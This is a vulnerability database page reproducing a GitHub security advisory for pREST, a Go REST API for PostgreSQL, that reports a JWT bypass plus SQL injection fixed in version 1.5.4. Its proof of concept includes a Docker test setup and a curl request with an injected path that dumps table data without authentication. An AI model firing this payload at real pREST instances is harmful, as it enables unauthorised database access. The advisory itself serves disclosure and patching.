GHSA-WM25-J4GW-6VR3
Vulnerability from github – Published: 2024-07-30 15:04 – Updated: 2024-08-07 14:16Summary
Probably jwt bypass + sql injection or what i'm doing wrong?
PoC (how to reproduce)
- Create following files:
docker-compose.yml:
services:
postgres:
image: postgres
container_name: postgres_container_mre
environment:
POSTGRES_USER: test_user_pg
POSTGRES_PASSWORD: test_pass_pg
POSTGRES_DB: test_db
prest:
image: prest/prest
build: .
volumes:
- ./queries:/queries
- ./migrations:/migrations
ports:
- "3000:3000"
Dockerfile:
from prest/prest:latest
COPY ./prest.toml prest.toml
prest.toml:
debug=false
migrations = "./migrations"
[http]
port = 3000
[jwt]
default = true
key = "secret"
algo = "HS256"
[auth]
enabled = true
type = "body"
encrypt = "MD5"
table = "prest_users"
username = "username"
password = "password"
[pg]
URL = "postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable"
[ssl]
mode = "disable"
sslcert = "./PATH"
sslkey = "./PATH"
sslrootcert = "./PATH"
[expose]
enabled = true
databases = true
schemas = true
tables = true
[queries]
location = "/queries"
- run commands:
mkdir -p migrations queries
docker compose up --build -d
wait for pg and prest, then run following to add test data to the pg:
export PGPASSWORD=test_pass_pg
docker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c "CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\
INSERT INTO public.some_table (id, secret_data) VALUES (1, 'some secret text') ON CONFLICT DO NOTHING;"
- SQL injection even without jwt token:
curl --location '127.0.0.1:3000/test_db/public".some_table)%20s;--/auth'
output:
[{"id": 1, "secret_data": "some secret text"}]
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/prest/prest"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-30T15:04:26Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nProbably jwt bypass + sql injection\nor what i\u0027m doing wrong?\n\n### PoC (how to reproduce)\n\n1. Create following files:\n\ndocker-compose.yml:\n```\nservices:\n postgres:\n image: postgres\n container_name: postgres_container_mre\n environment:\n POSTGRES_USER: test_user_pg\n POSTGRES_PASSWORD: test_pass_pg\n POSTGRES_DB: test_db\n prest:\n image: prest/prest\n build: .\n volumes:\n - ./queries:/queries\n - ./migrations:/migrations\n ports:\n - \"3000:3000\"\n```\n\nDockerfile:\n```\nfrom prest/prest:latest\n\nCOPY ./prest.toml prest.toml\n```\n\nprest.toml:\n```\ndebug=false\nmigrations = \"./migrations\"\n\n[http]\nport = 3000\n\n[jwt]\ndefault = true\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = true\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nURL = \"postgresql://test_user_pg:test_pass_pg@postgres:5432/test_db/?sslmode=disable\"\n\n[ssl]\nmode = \"disable\"\nsslcert = \"./PATH\"\nsslkey = \"./PATH\"\nsslrootcert = \"./PATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"/queries\"\n```\n\n\n2. run commands:\n\n```\nmkdir -p migrations queries\ndocker compose up --build -d\n```\nwait for pg and prest, then run following to add test data to the pg:\n\n```\nexport PGPASSWORD=test_pass_pg\ndocker exec -it postgres_container_mre psql -U test_user_pg -d test_db -c \"CREATE TABLE IF NOT EXISTS public.some_table (id int primary key, secret_data text);\\\nINSERT INTO public.some_table (id, secret_data) VALUES (1, \u0027some secret text\u0027) ON CONFLICT DO NOTHING;\"\n```\n\n3. SQL injection even without jwt token:\n```\ncurl --location \u0027127.0.0.1:3000/test_db/public\".some_table)%20s;--/auth\u0027\n```\noutput:\n```\n[{\"id\": 1, \"secret_data\": \"some secret text\"}]\n```\n",
"id": "GHSA-wm25-j4gw-6vr3",
"modified": "2024-08-07T14:16:28Z",
"published": "2024-07-30T15:04:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/prest/prest/security/advisories/GHSA-wm25-j4gw-6vr3"
},
{
"type": "WEB",
"url": "https://github.com/prest/prest/commit/96ff96cfdc7ad6dd86e2289fcd5a37ee70c8926e"
},
{
"type": "PACKAGE",
"url": "https://github.com/prest/prest"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-3011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pREST vulnerable to jwt bypass + sql injection"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.